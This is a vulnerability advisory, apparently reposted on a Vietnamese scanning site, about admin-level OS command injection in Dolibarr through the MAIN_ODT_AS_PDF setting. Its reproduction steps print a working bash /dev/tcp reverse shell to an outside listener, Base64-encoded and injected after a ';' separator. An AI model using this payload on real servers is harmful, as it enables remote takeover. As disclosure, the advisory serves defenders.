| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| dolibarr/dolibarr | ≤ 22.0.4 | |
| dolibarr erp/crm | < 23.0.0 | 23.0.0 |
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the MAIN_ODT_AS_PDF configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the exec() function in the ODT to PDF conversion process.
The vulnerability is located in htdocs/includes/odtphp/odf.php.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the MAIN_ODT_AS_PDF global setting.
Code snippet (htdocs/includes/odtphp/odf.php, approx line 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
While the filename $name is sanitized using escapeshellcmd(), the configuration variable MAIN_ODT_AS_PDF is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like ;) followed by arbitrary commands.
Prerequisites:
Steps to reproduce (Reverse Shell):
172.26.0.1, Port: 4445):nc -lvnp 4445
Prepare the payload. To avoid issues with special characters (like & or >) being escaped by the web application or shell, encode the reverse shell command in Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Navigate to Home -> Setup -> Other Setup.
Add or modify the constant MAIN_ODT_AS_PDF with the following injection payload:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí(Explanation: jodconverter satisfies the initial check, ; acts as a command separator, and the pipeline decodes and executes the Base64 payload).
Navigate to Commerce -> New proposal, create a draft, select an ODT template (e.g., generic_proposal_odt), and click Generate.
Remote Code Execution (RCE).
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically www-data). This allows for:
Reported by Łukasz Rybak